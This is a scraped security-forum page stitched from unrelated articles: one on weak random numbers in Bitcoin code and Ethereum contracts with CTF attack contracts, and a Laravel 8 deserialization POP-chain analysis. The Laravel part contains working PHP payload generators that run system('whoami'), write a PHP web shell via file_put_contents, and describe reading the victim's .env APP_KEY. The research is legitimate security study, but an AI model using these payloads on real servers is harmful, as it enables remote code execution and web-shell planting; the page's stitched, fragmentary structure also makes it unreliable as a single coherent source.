<https://www.kingkk.com/2020/06/%E6%B5%85%E8%B0%88%E4%B8%8BFastjson%E7%9A%84autotype%E7%BB%95%E8%BF%87/>
<https://github.com/threedr3am/learnjavabug/blob/96f81b85bab45453d8c29465225b51f3900148f3/fastjson/src/main/java/com/threedr3am/bug/fastjson/file/FileWriteBypassAutoType1_2_68.java>
<https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/> | 社区文章 |
### 一、前言
在上文中，我们主要是针对随机数安全进行了理论方面的密码学研究。在理论层面上我们又进行了简单代码的分析。而本文不在过多的介绍理论知识，而更多的将重点放在代码层面，针对现实实例中的代码进行安全分析。
### 二、比特币随机种子生成详解
首先我们来研究下区块链最大的应用——比特币在随机数方面是如何实现的。
首先我们将源码下载到本地，对`random.h`进行查看。得到源码：
/* Seed OpenSSL PRNG with additional entropy data */
void RandAddSeed();
/**
* Functions to gather random data via the OpenSSL PRNG
*/
void GetRandBytes(unsigned char* buf, int num);
uint64_t GetRand(uint64_t nMax);
int GetRandInt(int nMax);
uint256 GetRandHash();
void RandAddSeedSleep();
/**
* Function to gather random data from multiple sources, failing whenever any
* of those source fail to provide a result.
*/
void GetStrongRandBytes(unsigned char* buf, int num);
/** Get 32 bytes of system entropy. Do not use this in application code: use
* GetStrongRandBytes instead.
*/
void GetOSRand(unsigned char *ent32);
/** Check that OS randomness is available and returning the requested number
* of bytes.
*/
bool Random_SanityCheck();
/** Initialize the RNG. */
void RandomInit();
我们对这些函数进行分析：
第一个函数`void RandAddSeed();`：通过OpenSSL的伪随机数发生器生成随机数种子。
`void GetRandBytes(unsigned char* buf, int num)`为通过OpenSSL的伪随机数发生器生成随机数据。
`uint64_t GetRand(uint64_t nMax)`为对生成的随机数进行获取。
`int GetRandInt(int nMax)`用于获取整数随机数。
`uint256 GetRandHash()`用于获取随机数哈希。
`void RandAddSeedSleep()`设置随机数生成的休眠时间。
`void GetStrongRandBytes(unsigned char* buf, int num)`从多个源进行随机数获取。
`void GetOSRand(unsigned char *ent32)`从操作系统底层获取随机数。
`bool Random_SanityCheck()`用于检查操作系统随机数是否可用。
`void RandomInit()`对伪随机数发生器进行初始化。
下面我们详细讲解下其中的部分函数功能：
首先我们可以看：
void RandAddSeed()
{
// Seed with CPU performance counter
int64_t nCounter = GetPerformanceCounter();
RAND_add(&nCounter, sizeof(nCounter), 1.5);
memory_cleanse((void*)&nCounter, sizeof(nCounter));
}
其中包含了三句话：
首先函数会获取硬件的时间戳，并将时间戳赋值给`nCounter`。之后调用了`RAND_add`函数以时间戳为种子生成了随机数。最后执行了内存清理函数。
而区块链还可以利用用户本地的操作系统数据进行随机数的生成：
我们来看`GetOSRand(unsigned char *ent32)`方法：
/** Get 32 bytes of system entropy. */
void GetOSRand(unsigned char *ent32)
{
#if defined(WIN32)
HCRYPTPROV hProvider;
int ret = CryptAcquireContextW(&hProvider, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
if (!ret) {
RandFailure();
}
ret = CryptGenRandom(hProvider, NUM_OS_RANDOM_BYTES, ent32);
if (!ret) {
RandFailure();
}
CryptReleaseContext(hProvider, 0);
#elif defined(HAVE_SYS_GETRANDOM)
/* Linux. From the getrandom(2) man page:
* "If the urandom source has been initialized, reads of up to 256 bytes
* will always return as many bytes as requested and will not be
* interrupted by signals."
*/
int rv = syscall(SYS_getrandom, ent32, NUM_OS_RANDOM_BYTES, 0);
if (rv != NUM_OS_RANDOM_BYTES) {
if (rv < 0 && errno == ENOSYS) {
/* Fallback for kernel <3.17: the return value will be -1 and errno
* ENOSYS if the syscall is not available, in that case fall back
* to /dev/urandom.
*/
GetDevURandom(ent32);
} else {
RandFailure();
}
}
#elif defined(HAVE_GETENTROPY) && defined(__OpenBSD__)
/* On OpenBSD this can return up to 256 bytes of entropy, will return an
* error if more are requested.
* The call cannot return less than the requested number of bytes.
getentropy is explicitly limited to openbsd here, as a similar (but not
the same) function may exist on other platforms via glibc.
*/
if (getentropy(ent32, NUM_OS_RANDOM_BYTES) != 0) {
RandFailure();
}
#elif defined(HAVE_GETENTROPY_RAND) && defined(MAC_OSX)
// We need a fallback for OSX < 10.12
if (&getentropy != nullptr) {
if (getentropy(ent32, NUM_OS_RANDOM_BYTES) != 0) {
RandFailure();
}
} else {
GetDevURandom(ent32);
}
#elif defined(HAVE_SYSCTL_ARND)
/* FreeBSD and similar. It is possible for the call to return less
* bytes than requested, so need to read in a loop.
*/
static const int name[2] = {CTL_KERN, KERN_ARND};
int have = 0;
do {
size_t len = NUM_OS_RANDOM_BYTES - have;
if (sysctl(name, ARRAYLEN(name), ent32 + have, &len, nullptr, 0) != 0) {
RandFailure();
}
have += len;
} while (have < NUM_OS_RANDOM_BYTES);
#else
/* Fall back to /dev/urandom if there is no specific method implemented to
* get system entropy for this OS.
*/
GetDevURandom(ent32);
#endif
}
在这些函数中会根据系统宏定义来判断是否为Windows32位系统并根据系统内置的函数提供者并配合随机函数生成随机数。若系统为Linux系统，则函数使用urandom来获取对应字节的随机数。如果系统为macOSX系统，那么系统会使用`urandom`生成随机数。
### 三、实例项目随机数漏洞
首先我们要讲解的实例是前段日子很火的以太坊`Dice2win`项目。
智能合约原理就是是借助EVM运行，跑在区块链上的合约代码。其最大的特点就是公开和不可篡改性。由于数据链上的信息可以被所有人（包括黑客）发现，所以如何在合约上生成随机数就成了一个大问题。
在我们所知道的`Fomo3D合约`中，我们发现在空投奖励的随机数生成中就引入了block信息作为随机数种子生成的参数，导致随机数种子只受到合约地址影响，无法做到完全随机。
代码如下：
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
在这个实例中，我们能够解读出此函数中定义了随机数种子。而此种子使用了区块链上所有用户均可见的参数：`block.timestamp、block.difficulty、block.coinbase、block.gaslimit、block.number`。而由于这些生成seed的参数只与msg.sender这一个变量相关，所以在`Fome3D`这个实例中出现了大量的薅羊毛事件，损失也是巨大的。
而对于此类问题如何应对呢？在`Dice2win`实例中提供了一个比较合理的随机数生成方式hash-commit-reveal，即玩家提交行动计划，然后行动计划hash后提交给后端，后端生成相应的hash值，然后生成对应的随机数reveal，返回对应随机数commit。这样，服务端拿不到行动计划，客户端也拿不到随机数。
function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, bytes32 r, bytes32 s) external payable {
// Check that the bet is in 'clean' state.
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
// Validate input data ranges.
uint amount = msg.value;
require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
// Check that commit is valid - it has not expired and its signature is valid.
require (block.number <= commitLastBlock, "Commit has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked(uint40(commitLastBlock), commit));
require (secretSigner == ecrecover(signatureHash, 27, r, s), "ECDSA signature is not valid.");
uint rollUnder;
uint mask;
if (modulo <= MAX_MASK_MODULO) {
// Small modulo games specify bet outcomes via bit mask.
// rollUnder is a number of 1 bits in this mask (population count).
// This magic looking formula is an efficient way to compute population
// count on EVM for numbers below 2**40. For detailed proof consult
// the dice2.win whitepaper.
rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO;
mask = betMask;
} else {
// Larger modulos specify the right edge of half-open interval of
// winning bet outcomes.
require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo.");
rollUnder = betMask;
}
// Winning amount and jackpot increase.
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder);
// Enforce max profit limit.
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation.");
// Lock funds.
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
// Check whether contract has enough funds to process this bet.
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
// Record commit in logs.
emit Commit(commit);
// Store bet parameters on blockchain.
bet.amount = amount;
bet.modulo = uint8(modulo);
bet.rollUnder = uint8(rollUnder);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
}
// This is the method used to settle 99% of bets. To process a bet with a specific
// "commit", settleBet should supply a "reveal" number that would Keccak256-hash to
// "commit". "blockHash" is the block hash of placeBet block as seen by croupier; it
// is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs.
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
// Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS).
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash);
// Settle bet using reveal and blockHash as entropy sources.
settleBetCommon(bet, reveal, blockHash);
}
在这个代码中，主要函数为placeBet和settleBet，其中placeBet函数主要为建立赌博，而settleBet为开奖。而在此合约中，我们完全遵守了`hash-commit-reveal`方案，随机数的实现放在了服务端，过程如下：
* 用户首先在项目平台中选择好自己需要下注的方式，之后点击确认下注。
* 之后服务端生成随机数reveal，生成本次赌博的随机数hash信息，有效最大blockNumber，并将这些数据进行签名，并将commit和信息签名传给用户。
* 用户将上述由随机数而得到的hash以及lastBlockNumber信息打包，并传入placebet函数。
* 服务端在一段时间之后，将带有随机数和服务端执行settlebet开奖，而此时开奖信息则可控，即选择部分对自己不利的中止，以使庄家获得更大的利润。
下面我们再看一个实例：
pragma solidity ^0.4.16;
contract Ethraffle_v4b {
struct Contestant {
address addr;
uint raffleId;
}
event RaffleResult(
uint raffleId,
uint winningNumber,
address winningAddress,
address seed1,
address seed2,
uint seed3,
bytes32 randHash
);
event TicketPurchase(
uint raffleId,
address contestant,
uint number
);
event TicketRefund(
uint raffleId,
address contestant,
uint number
);
function chooseWinner() private {
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(raffleId, winningNumber, winningAddress, seed1, seed2, seed3, randHash);
// Start next raffle
raffleId++;
nextTicket = 0;
blockNumber = block.number;
// gaps.length = 0 isn't necessary here,
// because buyTickets() eventually clears
// the gaps array in the loop itself.
// Distribute prize and fee
winningAddress.transfer(prize);
feeAddress.transfer(fee);
}
// Get your money back before the raffle occurs
function getRefund() public {
uint refund = 0;
for (uint i = 0; i < totalTickets; i++) {
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
refund += pricePerTicket;
contestants[i] = Contestant(address(0), 0);
gaps.push(i);
TicketRefund(raffleId, msg.sender, i);
}
}
if (refund > 0) {
msg.sender.transfer(refund);
}
}
// Refund everyone's money, start a new raffle, then pause it
function endRaffle() public {
if (msg.sender == feeAddress) {
paused = true;
for (uint i = 0; i < totalTickets; i++) {
if (raffleId == contestants[i].raffleId) {
TicketRefund(raffleId, contestants[i].addr, i);
contestants[i].addr.transfer(pricePerTicket);
}
}
RaffleResult(raffleId, totalTickets, address(0), address(0), address(0), 0, 0);
raffleId++;
nextTicket = 0;
blockNumber = block.number;
gaps.length = 0;
}
}
function togglePause() public {
if (msg.sender == feeAddress) {
paused = !paused;
}
}
function kill() public {
if (msg.sender == feeAddress) {
selfdestruct(feeAddress);
}
}
}
在这个实例中，我们能够看到合约在使用随机数去挑选winner。`address winningAddress =
contestants[winningNumber].addr`。也就是说在该函数中，系统会首先生成一个随机数，然后将随机数传递到`contestants
[]`中，从而选择出获胜者。倘若攻击者能够控制这个随机数，让随机数每次都生成为其自己的index是不是就可以无限作恶？那我们看一看具体的随机数是如何生成的。
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;
上述是关键函数，在该函数中我们发现随机数的生成是需要三个种子：`seed1、seed2、seed3`。而这三个种子分别由`block.coinbase、msg.sender、block.difficulty`生成，而这三个变量除了msg.sender之外，其余的均可在链上读取到。也就是说攻击者仅需要控制合约的地址就可以进行作恶。
### 四、竞赛随机数漏洞
下面我们来看几个CTF竞赛题目的解法。
首先我们看一道随机数预测的题目：
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
这个题目的要求我们猜对10次合约的内容。所以我们对合约进行部署：
contract Attack {
CoinFlip fliphack;
address instance_address = 0x2f99655a6ddfd3e13561acf2c1c724385bb6a80e;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function Attack() {
fliphack = CoinFlip(instance_address);
}
function predict() public view returns (bool){
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
return coinFlip == 1 ? true : false;
}
function hack() public {
bool guess = predict();
fliphack.flip(guess);
}
function getbalance() view public returns(uint) {
return fliphack.getbalance();
}
function getflag(string a) public{
fliphack.CaptureTheFlag(a);
}
}
我们对合约进行部署：
根据我们前面的分析，本题目中随机数预测使用的是`block.blockhash(block.number-1)`函数，而此函数是所有用户均可以从区块上读到。
所以我们的攻击合约直接从链上读取随机数种子即可完全还原随机数。
运行20次，得到预测次数。很简单的题目。
下面我们看一道LCTF2018中的ctf题目。
源代码如下：
//Welcome to LCTF
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20{
using SafeMath for uint256;
mapping (address => uint256) public balances;
uint256 public _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return balances[owner];
}
function transfer(address _to, uint _value) public returns (bool success){
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
return true;
}
}
contract ggToken is ERC20 {
string public constant name = "777";
string public constant symbol = "666";
uint8 public constant decimals = 18;
uint256 public constant _airdropAmount = 1000;
uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));
mapping(address => bool) initialized;
constructor() public {
initialized[msg.sender] = true;
_totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract ggbank is ggToken{
address public owner;
mapping(uint => bool) locknumber;
event GetFlag(
string b64email,
string back
);
modifier authenticate {
require(checkfriend(msg.sender));_;
}
constructor() public {
owner=msg.sender;
}
function checkfriend(address _addr) internal pure returns (bool success) {
bytes20 addr = bytes20(_addr);
bytes20 id = hex"000000000000000000000000000000000007d7ec";
bytes20 gg = hex"00000000000000000000000000000000000fffff";
for (uint256 i = 0; i < 34; i++) {
if (addr & gg == id) {
return true;
}
gg <<= 4;
id <<= 4;
}
return false;
}
function getAirdrop() public authenticate returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
function goodluck() public payable authenticate returns (bool success) {
require(!locknumber[block.number]);
require(balances[msg.sender]>=100);
balances[msg.sender]-=100;
uint random=uint(keccak256(abi.encodePacked(block.number))) % 100;
if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){
balances[msg.sender]+=20000;
_totalSupply +=20000;
locknumber[block.number] = true;
}
return true;
}
function PayForFlag(string b64email) public payable authenticate returns (bool success){
require (balances[msg.sender] > 200000);
emit GetFlag(b64email, "Get flag!");
}
}
我们看获得flag的条件是需要`require (balances[msg.sender] > 200000)`。
function getAirdrop() public authenticate returns (bool success){
if (!initialized[msg.sender]) { //空投
initialized[msg.sender] = true;
balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
在上面的函数中我们知道每一个新用户都会获得`uint256 public constant _airdropAmount =
1000;`1000的钱。然而，我们看到goodluck函数中能够看到：
function goodluck() public payable authenticate returns (bool success) {
require(!locknumber[block.number]); //判断block.numbrt
require(balances[msg.sender]>=100); //余额大于100
balances[msg.sender]-=100; //每次调用要花费100token
uint random=uint(keccak256(abi.encodePacked(block.number))) % 100; //随机数
if(uint(keccak256(abi.encodePacked(msg.sender))) % 100 == random){ //随机数判断
balances[msg.sender]+=20000;
_totalSupply +=20000;
locknumber[block.number] = true;
}
return true;
}
我们看到这里就是随机数预测。而在这个随机数预测中我们使用了`abi.encodePacked(msg.sender)`与`random=uint(keccak256(abi.encodePacked(block.number)))
% 100`。也就是说我们需要这两个数相等即可返回ture。
而msg.sender可以直接控制已知的地址，那么左值就是已知的，剩下的就是要等待一个右值出现，由于block.number是自增的，我们可以通过提前计算出一个block.number，然后写脚本监控这个值出现，提前开始发起交易抢打包，就能够返回true了。
我们可以查看此题目的[wp](https://github.com/LCTF/LCTF2018/tree/master/Writeup/gg%20bank)。
### 五、参考资料
* <https://ropsten.etherscan.io/address/0x7caa18d765e5b4c3bf0831137923841fe3e7258a#code>
* <https://www.jishuwen.com/d/2J7D>
* <https://www.jianshu.com/p/5b1385687a7a>
* <https://www.huoxing24.com/newsdetail/20181122150016435403.html>
* <https://etherscan.io/address/0xcC88937F325d1C6B97da0AFDbb4cA542EFA70870#code>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# Laravel8反序列化POP链分析挖掘
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Dig2@星盟
## 前言
作为目前PHP最主流的框架之一，Laravel的主体及其依赖组件一直保持着较频繁的更新。自从2020年9月份Laravel
8发布以来，已经更新了四十多个版本，平均每个月都有八次左右的更新。除了优化，还有重要的原因在于安全性。例如CVE-2021-3129可以在Laravel的Debug模式下任意代码执行。这个CVE的命令执行步骤中有一部分依赖于Phar反序列化的执行。相比较于目前被分析较多的Larave
5.X版本的POP链，Laravel 8
部分组件版本较新，部分类加上了`__wake`方法进行过滤或者直接禁止了反序列化，故利用方式有所差异。本文分析并挖掘了当前Laravel
8版本中的反序列化链。
使用composer默认安装方式
composer create-project --prefer-dist laravel/laravel=8.5.9 laravel859
Laravel版本8.5.9，framework版本8.26.1，具体组件版本可参照[Packagist
Laravel](https://packagist.org/packages/laravel/framework#v8.26.1)
手动添加反序列化点：
/routes/web.php：
<?php
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\IndexController;
Route::get('/', [IndexController::class, 'index']);
/app/Http/Controllers/IndexController.php：
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class IndexController extends Controller
{
public function index(Request $request)
{
$p = $request->input('payload');
unserialize($p);
}
}
## 反序列化链分析
### 链一
**寻找__destruct**
入口类为：`\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php`的`class
PendingBroadcast`
这是一个很经典的入口类了，如果读者有研究Laravel 5的反序列化链，可能会知道这个类。其`__destruct`方法：
我们可以控制`$this->events`和`$this->event`。如果使`$this->events`为某个拥有dispatch方法的类，我们可以调用这个类的dispatch方法。
**寻找dispatch方法**
`\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php`的`class
Dispatcher`存在dispatch方法
`$command`可控，`$this->queueResolver`可控，`$this->commandShouldBeQueued`要求`$command`为ShouldQueue的实例
全局搜索，随便找一个ShouldQueue的子类即可
然后就能够进入`$this->dispatchToQueue`方法
`$this->queueResolver`和`$connection`均可控。payload如下：
<?php
// 1.php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace {
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher('system');
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
**加强**
上面的利用方法中，执行`call_user_func($this->queueResolver,
$connection);`时，执行的函数只有`$connection`一个参数。如果现在需要执行一个多参数函数比如file_put_contents就没办法了。
注意到这里call_user_func的第一个参数除了可以是函数名字符串，还有两种可以利用方式：
1. 使第一个参数为一个类，就能调用该类的`__invoke`方法
2. 使第一个参数为数组，例如`[class A, 'foo']`，表示调用类A的foo方法。下面分别介绍这两种方式例子
**法一：调用__invoke**
这里的利用稍为复杂
在`\vendor\opis\closure\src\SerializableClosure.php`的`class
SerializableClosure`找到了一个非常漂亮的`__invoke`函数
这里的`$this->closure`和`func_get_args()`均可控，我本来以为能够直接RCE了，然而后面还有两个棘手的问题。
一个是该类使用的不是标准序列化反序列化方法，而是实现了自己的序列化和反序列化方法：
其实这个问题不难解决，我们可以在生成payload的时候，使用composer引入该组件：
composer require opis/closure
然后在生成payload的代码中加入：
require "./vendor/autoload.php";
再：
$func = function(){file_put_contents("shell.php", "<?php eval(\$_POST['Dig2']) ?>");};
$d = new \Opis\Closure\SerializableClosure($func);
就能生成该类实例了
第二个棘手的问题在于，Laravel 8和Laravel 5有一个区别。Laravel 8在序列化和反序列化该类时，使用了验证secret。
该secret由环境变量配置文件，也就是`.env`中的`APP_KEY`决定，Laravel安装的时候，会在`.env`文件中生成一个随机的`APP_KEY`，例如：
APP_KEY=base64:2qnzxAY/QWHh/1F174Qsa+8LkuMoxOCU9qN6K8KipI0=
我们在本地生成payload的时候，也要手动生成一个`static::$securityProvider`，并且secret和远程受害者要是一样的才行。方法为，在本地的`class
SerializableClosure`的源码`SerializableClosure.php`文件中加入这么一行(字符串为受害机`.env`文件中的密钥)：
那么如何获取受害机的`APP_KEY`呢？我们在上面既然实现了单参数的任意函数执行，那么`file_get_content('.env')`就行了。当然，如果有其他漏洞点能够泄露配置文件就更方便了。
综上所述，生成payload脚本：
<?php
// 1-1.php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent {
public $connection;
public function __construct($connection) {
$this->connection = $connection;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace {
require "./vendor/autoload.php";
$func = function(){file_put_contents("shell.php", "<?php eval(\$_POST['Dig2']) ?>");};
$d = new \Opis\Closure\SerializableClosure($func);
$c = new Illuminate\Broadcasting\BroadcastEvent('whoami');
$b = new Illuminate\Bus\Dispatcher($d);
$a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
print(urlencode(serialize($a)));
}
**法二：调用另一个类某可控函数**
这里使用了[JrXnm](https://blog.szfszf.top/)师傅在其文章[Laravel 5.8 RCE
POP链汇总分析](https://www.anquanke.com/post/id/189718#h3-2)中提到的方法，使用`vendor\phpoption\phpoption\src\PhpOption\LazyOption.php`的`class
LazyOption`，在下面链二的加强中演示。payload一并放在文末的github地址中。
### 链二
**寻找__destruct**
同链一，入口类为：`\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php`的`class
PendingBroadcast`
我们可以控制`$this->events`和`$this->event`。如果使`$this->events`为某个类，并且该类没有实现dispatch方法却有`__call`方法，那么就可以调用这个`__call`方法了
**寻找__call**
随后找到位于`\vendor\laravel\framework\src\Illuminate\Validation\Validator.php`中的`class
Validator`
它有`__call`方法：
`$parameters`可控，`$method`为固定字符串dispatch，取`substr($method,
8)`后，为空字符串，故`$rule`为`''`。`$this->extensions`可控，跟踪`$this->callExtension()`方法
`$callback`和`$parameters`都是可控的，于是一条利用链就出来了。payload如下：
<?php
// 2.php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct($extensions){
$this->extensions = $extensions;
}
}
}
namespace {
$b = new Illuminate\Validation\Validator(array(''=>'system'));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');
print(urlencode(serialize($a)));
}
**加强**
对于链二的总结就是：
$callback(... array_values($parameters));
`$callback`可控，`$parameters`最多只能为单成员的数组。所以这里也具有无法执行多参数函数比如`file_put_contents`的问题。
注意到这里利用的是PHP中的可变函数，经过实验，如下代码可行：
<?php
class A{
public function __invoke(){
echo "invoke".PHP_EOL;
}
public function test(){
echo "test".PHP_EOL;
}
}
$callback1 = new A;
$callback1(''); // 输出invoke
$callback2 = array(new A, 'test');
$callback2(''); // 输出test
因此，可以控制上面利用链中的`$callback`为数组，就可以调用某其他类任意函数了。
`vendor\phpoption\phpoption\src\PhpOption\LazyOption.php`的`class
LazyOption`是一个很好的选择。
其option方法可以调用call_user_func_array函数，且两个参数都可控
虽然option是private属性的方法，在其它类中无法直接调用，但是可以发现在该类自身中，许多函数都在调用option函数
于是构造成功，payload如下所示
<?php
// 2-1.php
namespace PhpOption {
class LazyOption {
private $callback;
private $arguments;
public function __construct($callback, $arguments) {
$this->callback = $callback;
$this->arguments = $arguments;
}
}
}
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation {
class Validator {
public $extensions;
public function __construct($extensions){
$this->extensions = $extensions;
}
}
}
namespace {
$c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['Dig2']) ?>"]);
$b = new Illuminate\Validation\Validator(array(''=>[$c, 'select']));
$a = new Illuminate\Broadcasting\PendingBroadcast($b, 'not important');
print(urlencode(serialize($a)));
}
### 链三
入口类为`\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php`的`class
FileCookieJar`。此类在Laravel 5中没有出现。其有`__destruct`函数：
`$this->filename`可控，跟踪save函数：
有file_put_contents函数。一路顺下去，能看到该类的接口是实现了IteratorAggregate的，如下
interface CookieJarInterface extends \Countable, \IteratorAggregate
也就是说它实现了自己的`foreach ($this as
$cookie)`方法，这里同样用composer安装一下该组件再进行获取序列化字符串比较方便。因为我们要通过其父类的SetCookie方法来设置这里的`$cookie`值。其余没有什么值得注意的地方，比较简单，payload如下：
<?php
// 3.php
namespace{
require "./vendor/autoload.php";
$a = new \GuzzleHttp\Cookie\FileCookieJar("shell.php");
$a->setCookie(new \GuzzleHttp\Cookie\SetCookie([
'Name'=>'123',
'Domain'=> "<?php eval(\$_POST['Dig2']) ?>",
'Expires'=>123,
'Value'=>123
]));
print(urlencode(serialize($a)));
}
## 总结
Laravel 8相对于Laravel
5而言，增加了几个组件，又去掉了另几个组件。利用链有部分重叠，也有修复与增补。整体分析下来，思路是非常清晰的，从`__destruct`函数到`__invoke`或者`__call`等，再到危险函数完成RCE，中间或许需要跳板反复利用。密钥等信息的泄露也会带来RCE的风险。
上面代码集合：<https://github.com/WgagaXnunigo/laravel8_POP_RCE> | 社区文章 |
Subsets and Splits